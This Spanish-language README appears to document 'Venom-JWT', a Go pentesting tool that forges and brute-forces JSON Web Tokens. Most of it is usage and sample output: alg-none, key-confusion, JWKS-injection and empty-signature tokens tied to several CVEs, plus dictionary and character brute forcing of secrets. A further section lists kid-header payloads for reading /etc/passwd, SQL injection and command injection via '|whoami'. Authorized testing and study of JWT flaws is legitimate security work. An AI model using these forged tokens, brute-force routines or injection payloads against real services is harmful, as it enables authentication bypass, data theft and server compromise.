
Herramienta de verificación de vulnerabilidades/fuerza bruta de claves desarrollada para la penetración en JWT, que genera resultados para FUZZ contra CVE-2015-9235/ataque de clave en blanco/ataque de firma no verificada/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, y también puede realizar fuerza bruta mediante diccionario/enumeración de caracteres (incluyendo JJWT) (JWT Crack)
Declaración seria: Las técnicas, ideas y herramientas mencionadas en este documento son solo para fines de aprendizaje e intercambio con fines de seguridad, nadie puede usarlas para fines ilegales o lucrativos, de lo contrario asumirá las consecuencias.
Herramienta de validación de vulnerabilidades/fuerza bruta de claves desarrollada para la penetración de JWT, que genera resultados para FUZZ contra CVE-2015-9235/ataque de firma no verificada/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, también se puede usar diccionario o enumeración de caracteres para fuerza bruta.Introducción a la herramienta · Instrucciones de uso · Notas · Comunicación técnica
Durante las pruebas de penetración en proyectos de la empresa, a menudo al trabajar con proyectos de front-end y back-end separados, se encuentra JWT como Token para la verificación de permisos. Normalmente se pueden usar herramientas como jwt-tool, pero aún no es posible completar todo en un solo paso. Por eso, aquí desarrollo una herramienta auxiliar de penetración JWT todo en uno usando go, para ayudar a todos a realizar pruebas de autorización.
¿Cuál es el escenario de aplicación de esta herramienta?
¿Cuáles son las ventajas de esta herramienta?
# Empaquetar
go mod tidy
cd cmd
go build.
# Ejecutar en línea de comandos
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
Si se utiliza un archivo de payloads, por defecto vacío usa el diccionario incorporado de roles (modo 2 enlazado), modo 3 no vacío (modo 3 enlazado)
-em int
Modo de encriptación del secret NONE/MD5/MD5 de 16 bits/BASE64 (por defecto ALL=>0, NONE=>1, MD5=>2, MD5 16 bits=>3, BASE64)
-fs string
Diccionario por defecto para fuerza bruta, se puede modificar según reglas de suposición (usar con -fz para número de caracteres) (default "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
Número máximo de caracteres para fuerza bruta (si se quiere especificar la longitud con -fz)
-jbc string
JWT body a modificar
-jm int
Modo 1: (Secret desconocido) Prueba de autorización modificando Payload Modo 2: (probar primero modo 1) Prueba de autorización con PayloadFuzz Modo 3: fuerza bruta de secret con diccionario Modo 4: fuerza bruta de secret con caracteres (si se quiere especificar longitud -fz) Modo 5: verificar el Secret de JWT (default 1)
-jwt.txt string
Cadena JWT
-mz int
Número mínimo de caracteres para fuerza bruta (si se quiere especificar longitud -mz), por defecto 1 (default 1)
-pem string
Ruta del archivo pem de la clave pública (mejor ruta absoluta)
-pt int
Modo de selección: 0 para ejecutar todo por defecto, 1 para modificar alg a none (CVE-2015-2951), 2 para autorización por firma no verificada, 3 para modificar algoritmo asimétrico a simétrico (CVE-2016-10555) 4 para inyección de clave pública JWKS - falsificación de clave (CVE-2018-0114) 5 para firma vacía (CVE-2020-28042)
-s string
Secret conocido, por defecto vacío
# Ejecución interactiva
.\cmd.exe
? 【Selección previa】En caso de secret desconocido, modificar JWT para probar autorización, elija un modo:
[·] [Use arrows to move, type to filter]
> Modo 1: (Secret desconocido) Prueba de autorización modificando Payload
Modo 2: (probar primero modo 1) Prueba de autorización con PayloadFuzz
Modo 3: fuerza bruta de secret con diccionario
Modo 4: fuerza bruta de secret con caracteres
Modo 5: verificar el Secret de JWT
? Ingrese su cadena JWT:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? 【Modo 1】【Modo 2】En caso de secret desconocido, modificar JWT para probar autorización, elija un modo de prueba específico:
[·] [Use arrows to move, type to filter]
> Modo 0: Ejecutar todo por defecto
Modo 1: Modificar alg a none (CVE-2015-2951)
Modo 2: Autorización por firma no verificada
Modo 3: Modificar algoritmo asimétrico a simétrico (CVE-2016-10555)
Modo 4: Inyección de clave pública JWKS - falsificación de clave (CVE-2018-0114)
Modo 5: Firma vacía (CVE-2020-28042)
? En los 【Modo 1】【Modo 2】【Modo 5】, necesita modificar la cadena JSON de la segunda parte (Payload) de JWT para probar autorización. Copie la parte Payload del paso anterior, modifique y pegue aquí:
【Modo 1】【Modo 5】Ejemplo: {"username":"admin","role":"admin"}
【Modo 2】Ejemplo: {"usernmae":"admin","role":"FUZZ"}
Nota: En 【Modo 2】, FUZZ es la posición de reemplazo del diccionario. Si no se modifica, presione Enter para usar el Payload original por defecto.
? Ingrese la ruta del archivo pem de clave pública que ha recopilado (mejor ruta absoluta)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
==============Prueba de autorización modificando Payload sin secret===========
① En la mayoría de los casos, cuando alg es HS256, se puede cambiar JWT a none (CVE-2015-9235)
[+]【alg a none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg a None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg a NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg a NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② Ataque de firma no verificada: modificar Payload sin verificar
[+]【Ataque de firma inválida】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ Ataque de modificación de algoritmo asimétrico a simétrico (CVE-2016-10555)
[+] 【Modificación de algoritmo asimétrico a simétrico】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ Inyección de clave pública JWKS - falsificación de clave (CVE-2018-0114)
[+]【Clave falsificada】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ Ataque de firma vacía (CVE-2020-28042)
[+]【Firma vacía】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
Nota: Todos los resultados JWT se han guardado en result.txt en el directorio de ejecución. Puede reproducirlos en Intruder para probar si son tokens viables.
① En la mayoría de los casos, cuando alg es HS256, cambiar JWT a none (CVE-2015-9235)
② Ataque de firma no verificada: modificar Payload sin verificar
③ Ataque de modificación de algoritmo asimétrico a simétrico (CVE-2016-10555)
④ Inyección de clave pública JWKS - falsificación de clave (CVE-2018-0114)
⑤ Ataque de firma vacía (CVE-2020-28042)
Se puede reproducir directamente en Repeater.
Descubrimiento de otras vulnerabilidades especiales:
Al analizar el primer segmento de JWT, si se encuentra que aparecen otros parámetros, puede generar otras vulnerabilidades y se mostrará una sugerencia.
// Código de prueba jjwt en Java
public class JwtExample {
private static void disableKeyLengthCheck() throws Exception {
// Usar reflexión para modificar el minKeyLength de SignatureAlgorithm.HS256
Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField("minKeyLength");
minKeyLengthField.setAccessible(true);
minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // Establecer longitud mínima de clave a 0
}
public static void main(String[] args) throws Exception {
disableKeyLengthCheck();
// Clave original
String secret = "test@123";
JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
HashMap<String, Object> stringObjectHashMap = new HashMap<>();
stringObjectHashMap.put("test", "test");
jwtBuilder.addClaims(stringObjectHashMap);
System.out.println(jwtBuilder.compact());
}
}
Resultado generado: eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM



Aquí hay vulnerabilidades relacionadas (las tomé de otros artículos, analícenlas ustedes mismos)
1. Lectura arbitraria de archivos
El parámetro KID se usa para leer archivos de claves, pero el sistema no sabe si el usuario realmente quiere leer un archivo de clave. Por lo tanto, si no hay filtrado del parámetro, un atacante puede leer archivos arbitrarios del sistema.
{ "typ": "JWT", "kid": "/etc/passwd", "alg": "HS256"}
2. Inyección SQL
KID también puede extraer datos de una base de datos, lo que podría provocar un ataque de inyección SQL. Mediante la construcción de sentencias SQL, se pueden obtener datos o eludir la verificación de la firma.
Si existe el campo KID, intente inyectar. Modifique el valor de KID a una sentencia SQL, cambie el nombre de usuario a Tom, la clave de firma es la misma que la sentencia SQL. Por ejemplo, si la sentencia SQL contiene 'Mw==' (base64 de 3), entonces la clave de firma es 3:
{ "typ": "JWT", "kid":"';select 'Mw==' from jwt_keys --"}
3. Inyección de comandos
Si el filtrado del parámetro KID no es estricto, también puede ocurrir un problema de inyección de comandos, pero las condiciones de explotación son más difíciles. Si el backend del servidor usa Ruby y al leer el archivo de clave se usa la función open, es posible causar una inyección de comandos mediante la construcción del parámetro.
{ "typ": "JWT", "kid": "/path/to/key_file|whoami", "alg": "HS256"}
Si aparecen otros parámetros, también se puede realizar un análisis adicional.
Ahora veamos el módulo de fuerza bruta
Busque un diccionario en línea al azar.
Prueba JWT1 (secret 123456):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

Prueba JWT2 (jjwt secret test@123):
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

Luego pruebe el efecto de generación de caracteres con JWT1:
Aquí generé todos los diccionarios de 4 a 6 caracteres, la entrada es 1234567890. Como la demostración no necesita ser demasiado grande, todos pueden probarlo por su cuenta, de todos modos será rápido.

Aquí se generará genFuzzDict.txt en el directorio actual. Debido a que la cantidad generada será muy grande, originalmente se usó un grupo de hilos + modelo productor-consumidor para procesarlo, pero después de ejecutar, desde 4 caracteres comenzó a fallar debido a la falta de memoria. Por lo tanto, se mejoró para guardar en texto y luego leer. Cuando el programa encuentra la clave, sale automáticamente y deja de leer el archivo.
Pongamos un ejemplo con MD5:
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw

public_key.pem en el directorio raíz es necesario para probar el Modo 3: Modificar algoritmo asimétrico a simétrico (CVE-2016-10555). Si en el JS de la página hay una clave pública filtrada, use el resultado guardado de esa clave pública; si no, use este para reemplazar y generar, de lo contrario se producirá un error.Herramientas de servicios de penetración en Github: https://github.com/z-bool Venom
Proyectos de investigación de seguridad en Github: https://github.com/SpringKill-team SpringKill Team
Cuenta pública de A Dai offensive and defensive (阿呆攻防):
